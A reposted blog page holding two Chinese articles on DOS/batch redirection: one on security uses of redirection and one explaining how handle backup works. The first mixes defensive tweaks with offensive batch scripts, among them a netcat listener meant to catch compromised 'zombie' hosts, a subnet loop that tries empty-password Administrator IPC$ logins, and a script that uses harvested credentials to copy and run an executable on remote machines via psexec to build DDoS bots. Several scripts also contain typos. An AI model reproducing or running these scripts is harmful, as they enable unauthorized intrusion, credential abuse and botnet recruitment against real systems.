DOS的重定向命令及在安全方面的应用

dos的重定向命令
2006-10-15 16:47
新手DOS应用技巧
人小鬼大

重定向命令在安全方面的应用

来源:ChinaITLab收集整理
2005-7-21 11:12:00

大家知道,DOS下有一个不为大家所常用的命令——重定向命令,这个小东西非常有用,该命令同样可以用于 Win9x/ME/2000/XP下,灵活的使用这个命令可以给我们带来很大的方便——无论是入侵还是防守抑或是系统应用,都会带来很大的便利。今天就让 我们来看几个重定向命令在安全方面的应用实例。

一、命令格式

DOS的标准输入输出通常是在标准设备键盘和显示器上进行的,利用重定向,可以方便地将输入输出改向磁盘文件或其它设备。其中:
(1).大于号“>”将命令发送到文件或设备,例如打印机>prn。使用大于号“>”时,有些命令输出(例如错误消息)不能重定向。
(2).双大于号“>>”将命令输出添加到文件结尾而不删除文件中已有的信息。
(3).小于号“<”从文件而不是键盘上获取命令所需的输入。
(4).>&符号将输出从一个默认I/O流(stdout,stdin,stderr)重新定向到另一个默认I/O流。例如,command >output_file 2>&1将处理command过程中的所有错误信息从屏幕重定向到标准文件输出中。标准输出的数值如下所示:

标准输出 等价的数值
Stdin 0
Stdout 1
Stderr 2

其中,(1)和(2)都创建一个文件用于存放数据;(4)可能不能够在DOS下使用。

二、重定向命令的输出

几乎所有的命令均将输出发送到屏幕。即使是将输出发送到驱动器或打印机的命令,也会在屏幕上显示消息和提示。要将输出从屏幕重定向到文件或打印机,请使 用大于号(>)。大多数命令中均可以使用大于号。例如,在以下命令中,dir命令生成的目录列表重定向到Dirlist.txt文件: dir>dirlist.txt,如果Dirlist.txt文件不存在,系统将创建该文件。如果Dirlist.txt存在,系统将使用dir命 令的输出替换文件中的信息。

要将命令输出添加到文件结尾而不丢失文件中的任何信息,请使用双大于号(>>)。例如, 在以下命令中,dir命令生成的目录列表附加到Dirlist.txt文件中:dir>dirlist.txt,将输入重定向到一个命令,就象可以 将命令输出发送到文件或打印机而不是屏幕一样,您可以从文件而不是从键盘获取命令的输入。要从文件获取输入,请使用小于号(<)。例如,以下命令将 从List.txt文件中获取sort命令的输入:sort

三、应用举例

1.给注册表加锁/解锁

大家知道,注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVerssion\ Policies\System分支下的DWORD值“Disableregistrytools”的键值如为“1”,则可以给注册表加锁,这样别人就无 法使用注册表编辑器。利用重定向命令在DOS下就可以给注册表加锁/解锁,非常方便。

打开记事本程序,新建一个文本文件,输入如下内容:

@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>123.reg
@echo "DisableRegistryTools"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg

另存为以.bat为扩展名的批处理文件,点击这个文件注册表就会被锁定!

在上面的命令中,echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,如果想看到程序执行过程, 请将“@”去掉。大家在编写上述代码时要注意的是,第一行中的“REGEDIT4”一定要用大写字母,在第二行中“echo”和“.”之间没有空格。 “>>”产生的内容将追加到它后面的文件中。在文件的最后一行加上deltree /y 123.reg,就可以无需确认就删除123.reg文件。

要想给注册表解锁,可以编辑这个批处理文件,只需将 "DisableRegistryTools"=dword:00000001改为"DisableRegistryTools"=dword: 00000000,其他内容不变,保存为.bat文件,点击就可以给注册表解锁了。

2.把登陆3389的机器IP记录下来

把下面的内容保存为3389IP.bat:
time /t >>log.log
netstat -n -p tcp |find ":3389">>Log.log
start Explorer

运行3389IP.bat,然后查看log.log文件即可看到登陆3389的机器IP,是不是很方便呢?

3.恢复DOS实模式

大家知道,某些恶意网页会修改浏览者的注册表,在无所不用其极的各种手段中,修改注册表使DOS实模式不可用是其中的招数之一。要想恢复DOS实模式方法有很多,用批处理和重定向命令结合使用,是比较特别的一招,在此与大家分享。

echo off
echo REGEDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]>>c:\scanreg.reg
echo "NoRealMode"=dword:00000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg

另存为以.bat为扩展名的批处理文件,点击这个文件就可以恢复DOS实模式,那些DOS应用程序又可以使用了。

4.等待肉鸡上门

每天费时费力的找肉鸡是不是很辛苦,利用重定向命令和批处理文件就可以让你简单的找到肉鸡!方法是用记事本新建一个文本文件,输入如下内容:

@echo off
:start
nc -vv -w 5 -l -p 80>>rouji.log
goto start

保存为.bat文件(事先得准备好一个nc.exe文件,它是网络故障事件检测软件Netcat的主程序),然后运行此程序之后,你就等着肉鸡上门主动来找你吧!运气好的话,每天10个不成问题。

5.快速进行空连接

空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。使用命令net use \\IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放IPC$)。利用重定向命令和for命令就可以对一个C类网段进行快速的空连接,并把结果保存到一个文件 中供你分析。方法是用记事本编辑如下内容的文件:

@echo off
echo 格式:test *.*.*>test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%Gipc$ "" /use:"Administrator" | find "命令完成" >>test.txt

批处理文件保存为.bat,运行即可。这个批处理文件的功能是对你指定的一个C类网段中的254个ip依次试建立帐号为administrator口令 为空的ipc$连接,如果成功就把结果记录在test.txt。这样就实现了NT弱口令扫描功能!其中,for命令的功能是对一组文件中的每一个文件执行 某个特定命令,也就是可以用你指定的循环范围生成一系列命令。For命令的格式为:FOR %variable IN (set) DO command [command-parameters],具体的含义:

%variable:指定一个单一字母可替换的参数。

(set):指定一个或一组文件。可以使用通配符。

command:指定对每个文件执行的命令。

command-parameters:为特定命令指定参数或命令行开关。

在批处理文件中使用FOR命令时,指定变量请使用%%variable而不要用%variable。变量名称是区分大小写的,所以%i不同%I。

6.禁止空连接

空连接的存在对有一定的危险,所以我们还是禁止它为好!方法是输入net share察看本地共享资源,接下来输入如下命令删除共享:

net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f等盘符可以同法删除)

然后用记事本新建一个文本文件,输入如下内容即可:

@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]>>123.reg
@echo "RestrictAnonymous"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg

另存为以.bat为扩展名的批处理文件,点击这个文件就可以禁止空连接。

7.扫描所有和本机以TCP协议连接的计算机

扫描自己的计算机端口,发现有特殊端口打开,可以查木马,不仅如此,利用下面这个批处理文件还可以把所有和本机以TCP协议连接的计算机IP地址都记录下来。这个.bat文件内容如下:

data /t>>123.log
time /t>>123.log
netstat -n -p tcp 10>>123.log

这样不仅可以记录下对方的IP,还有时间和日期,方便自己查看。

8.自动获取DDoS肉鸡

DDoS是Distributed Denial of Service的缩写,意即分布式拒绝服务攻击。它是指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从 而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯, 代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理 程序的运行。

虽然不建议大家使用DDoS方式攻击,但作为技术掌握还是很有必要的。可是,如何才能获取进行DDoS攻击的肉鸡呢?把下面的内容保存为ok.bat文件就可以达到目的了:

@echo off
echo自动获取DDoS肉鸡
for /f "tokens=1,3*" %i in (host.txt) do net use \\%k\ipc$ /user:"%j"
copy %1 \\%i\admin$\sysytem32
if errorelevel 0 goto success
psexec -d \\%i c:\winnt\system32\%1
net user \\%i\ipc$ /del
:success
echo ------------------------------>>success.txt
echo 肉鸡:%i>>success.txt
echo 用户名:%j>>success.txt
echo 密码:%k>>success.txt
echo ------------------------------>>success.txt

使用方法是ok.bat *.exe host.txt,其中host.txt的格式为:ip administrator password。好了,快试试吧。但不要用来干破坏哦。

其实,本文所说的方法主要是利用了批处理和相关的命令,重定向命令在其中只是个“传接剂”,起连接作用,但它的功劳也是不小的,所以我们不要忘了重定向命令哦。本文只是抛砖引玉,希望大家畅所欲言,多多指点。在写作时参阅过众多高手的论坛帖子,多谢各位。

 

出处:http://wenku.baidu.com/link?url=nlmn3D6gtQ-dY1jIlvaUn1rHJyJ2CX24G6Alidg6OHdbkog70pyaw3Fxtiq_Guk4wo37FIgOLmGujoqG7anysXqK569jPwRtl-RkHHw3F03

=======================================================================================

批处理重定向中的秘密(句柄备份)

看了 [ 小竹英雄 ] 的 “重定向中的秘密” 一文,搞得我云里雾里,真就是那饭桌上的美食转哪转——晕菜了。
所以写此文与各位看看,有什么不对的地方请大家指正。
重定向是指使用重定向符号对输入或输出位置进行重新指定。
以下是理论说明,懂的可以跳过,也可以先看例子,遇到不明白的再倒回来看。
重定向符号有 < 、> 、>> 、<& 、>& 和 | 共六个。

重定向符号的作用如下表所示:

符号   作用
——————————————————————————————
<   从文件或设备(如默认的 con 键盘)中读取命令输入。
>   将命令输出写入到文件或设备(如 prn 打印机)中。
>>   将命令输出添加到文件末尾而不删除文件中的信息。
<&  从后一个句柄读取输入并写入到前一个句柄输出中。
>&  将前一个句柄的输出写成后一个句柄的输入。
|   读取前一个命令中的输出作为后一个命令的输入。也称作管道符。
——————————————————————————————
注意:句柄的输入输出只是其指向,真正的输入输出是靠设备。
重定向符号的默认句柄,< 的默认句柄是 0,> 的默认句柄是 1。

可用句柄(0 - 9)如下表:

句柄    句柄号   说明
——————————————————————————————
STDIN    0     标准输入,默认从键盘输入
STDOUT   1    标准输出,默认输出到命令提示符窗口
STDERR   2       标准错误输出,默认输出到命令提示符窗口
UNDEFINED 3-9     这些句柄由应用程序和各个具体工具单独定义。
——————————————————————————————
STD 即 Standard —— 标准的缩写。

设备
标准输入设备为键盘,用 con 表示。
标准输出设备为控制台(即命令提示符),默认也用 con 表示。
常用的还有:
空设备,用 nul 表示。
存储设备,文件就归到这类。
不常用的如:打印机 prn。

指向
句柄实际上也是一组 0 1 数据,是存储了一个指向。
句柄 0 默认指向 con,这里 con 为标准输入设备,即键盘。
句柄 1 默认指向 con,这里 con 为标准输出设备,即控制台。
句柄 2 默认也指向 con,同 1。
此外,我们对句柄的指向重新设定(即所谓的重定向)时,可以改变句柄的指向。
如 1>nul 是让“标准输出”数据输出到空设备,效果就是屏蔽输出。
特别之处: 3 - 9 默认是没有指向的,我们可以用(空)来表示,注意是不同于空设备 nul 的哦!


(图示)

下面拿个简单的例子来说明
pause>nul
后面的 >nul 的作用就是屏蔽了 pause 命令的默认输出 “请按任意键继续. . .”。
以上是简单的描述,而实际的过程可没那么简单:
首先确定重定向符号为 >;
接着检查句柄号,发现没有,控制台为其加上默认句柄 1,此时变成 pause 1>nul;
由于句柄 1 的默认指向 con,此时要被临时设定为指向 nul,为了之后取回原来的指向,所以要先对 1 的指向进行备份,备份到句柄 3,备份过后临时设定 1 指向 nul;
(为什么要备份,为什么要备份到 3 而不是 4?见下文)
到这时这条语句才被执行,效果就是批处理暂停,没有输出只有一个光标闪阿闪。
执行完后 1 要取回原来的指向,1 的指向在上面被备份到 3,不管 3 的指向有没有改变 1 要取回它的指向来,取回后 1 指向 con;3 的指向被取走,由于 3 没有备份,所以恢复到原来的(空),即无指向。
至此整个过程描述完毕。
可以发现这时的情况与最初是相同的,所有句柄的指向都是其默认值。

  接着引出 句柄(指向)备份理论
  当指向为非空的句柄被重新设置时要进行备份,而且是备份到第一个没有指向的句柄。
  语句运行完后要取回其备份,而不管备份中的句柄指向有没有改变。
  如果当前状态下 3 - 9 这七个句柄都有了指向,这时新设置的句柄其原指向将不再备份。COPY
  另一种表述:也就是说当指向为(空)的句柄被设定时是不需要备份的。如:复制句柄时源句柄不备份,因为没有被再次设置。
  补充说明:一个句柄只能存储一个指向。COPY
举例说明:


示例三与示例二有什么异同呢?
基本上相同,只有执行的这句,示例三是有输出的,示例二却没有。

有没有发现示例四和示例三是一样的,那用复制句柄的方法能不能和示例二一样呢?
可以,自己想吧。^_^

还有一个特别的例子
echo 你好!>nul >hello.txt >prn >con
它使用的是相同的句柄 1,这时要以最后一个为准,其他的忽略。把它存为批处理运行,能够清楚的看到前面的三种指向直接被剪掉了。
同理:
echo 你好! 1<&3 >nul
也以后面的 ”>nul“ 为准,即不显示 ”你好!“。

具体例子讲解
  @echo off
  echo 哇,这就是传说中的树叶吗?>con 3>nul
  echo 我有一片神奇的树叶(吹口哨),
  echo 你看不见我,
  echo 我现身,>con
  echo 我又隐身啦。
  echo 谁偷了我的叶子,快还我。>con 4>con
  echo 没穿裤裤被你们看到了!
  pause>nulCOPY
哇,这就是传说中的树叶吗?
这句用了 “>con >nul” 同示例三,首先 句柄 1 指向要被设为 con,先备份到 3 再设定;第二步 这时 3 指向为 con,现在又要设为 nul,先备份 con 到 4;最后 1 指向 con,3 指向 nul,4 指向 con;所以这句执行时是要显示的。
执行完后返回,1 取回 3 的指向 nul,3 取回 4 的指向 con,4 恢复(空),所以返回结束时 1 指向 nul,3 指向 con。假设这时状态为 A。
因此接下来两句 “我有一片神奇的树叶(吹口哨),”,“你看不见我,” 是不显示的。
我现身,” 这句设定为 “>con”。执行时 1 为 con,原来的 nul 备份到 4(因为前面 3 已经为 con 不是没有指向了);执行完后 1 取回备份 nul,4 恢复(空)。这时的状态还是 A。
所以下一句 “我又隐身啦。” 还是不显示。
倒数第二句 “谁偷了我的叶子,快还我。
设定为 “>con 4>con”,首先 句柄 1 指向要被设为 con,3 已经不为(空)了,所以备份 nul 到 4;第二步 这时 4 指向为 nul,现在又要设为 con,先备份 nul 到 5;最后 1 指向 con(3 指向 nul)4 指向 con,5 指向 nul;所以这句显示。
返回时 1 取回 4 的指向 con,4 取回 5 的指向 nul,5 恢复(空)。而这时状态已经不同于 A 了,设为状态 B。最后一句 “没穿裤裤被你们看到了!” 使用的是状态 B 的句柄指向,所以也显示。

到些讲解结束。(以上红色为显示的淡蓝色为不显示的

如果要用处理来表示就是这样


补充
我们可以比较一下下面两句的差别
echo 你好!>con 2>con
echo 你好!
有人会问了 “你不是说句柄 1 和 2 默认指向为 con 吗?”
没错,我来解释一下。
第一句对句柄 1 和 2 进行了重新设定(虽然是和默认一样的),因此要有备份和取回的过程;
而第二句没有设定,直接取默认值作为当前设定(不需要备份什么的哦);
这样第二句就比第一句快一点,如果在一个循环多次的程序中使用,速度差别就很明显了。

应用
一次性屏蔽错误输出(加在开始屏蔽的语句后面)
2>nul 3>nul

一次性将输出写入文件 a.txt(不包括错误反馈,用法同上)
>&3 3>a.txt

  此帖中就有应用(是一次性屏蔽错误输出的,大大加快了程序的运行速度)
  http://bbs.bathome.net/viewthread.php?tid=2372&page=1#pid14024


以上一些个不实用的东西大家没必要深究,了解了解就行了,应用为上嘛。
实在需要研究的人例外。

问题:经过重定向后句柄的指向已经不同于默认指向了,还能恢复成原来的默认指向吗?
回答:因为指向不能设定或复制成空,所以语句运行完后的指向如果改变了是不能回到默认指向的。
(如有错误,欢迎指出。)
参考《命令行参考》,为方便说明,部分内容摘自其中。
英雄兄的 “重定向中的秘密”,由于其中没有关于备份条件的说明,且有一些错误,容易搞得人一头雾水。英雄兄说他帖子写得快吐血,我是看他帖子看得快吐血。
以上为个人观点,信则是不信则非。
还有不会做图,否则做个GIF就更形象了。
英雄的帖子链接
http://bbs.verybat.org/thread-9271-1-1.html
http://bbs.verybat.org/thread-9744-1-1.html

 

 

出处:http://bbs.bathome.net/thread-2579-1-1.html

posted on 2013-11-19 14:55  jack_Meng  阅读(2351)  评论(0编辑  收藏  举报

导航